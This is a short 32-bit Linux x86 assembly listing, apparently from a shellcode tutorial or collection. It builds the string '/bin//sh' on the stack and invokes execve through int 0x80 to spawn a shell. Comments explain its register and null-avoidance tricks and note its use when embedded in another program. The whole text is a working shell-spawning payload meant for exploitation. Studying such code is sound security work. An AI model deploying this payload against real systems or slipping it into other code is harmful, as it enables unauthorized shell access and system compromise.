section .text _start: cdq ; xor edx mul edx lea ecx, [eax] ; xor ecx, maybe a problem when embedded in other program mov esi, 0x68732f2f mov edi, 0x6e69622f push ecx ; push NULL in stack ; \0 push esi push edi ; push hs/nib// in stack ; actually 'hs//nib/' lea ebx, [esp] ; push hs/nib// in stack ; address of 'hs//nib/' mov al, 0xb ; load execve in eax int 0x80 ; execute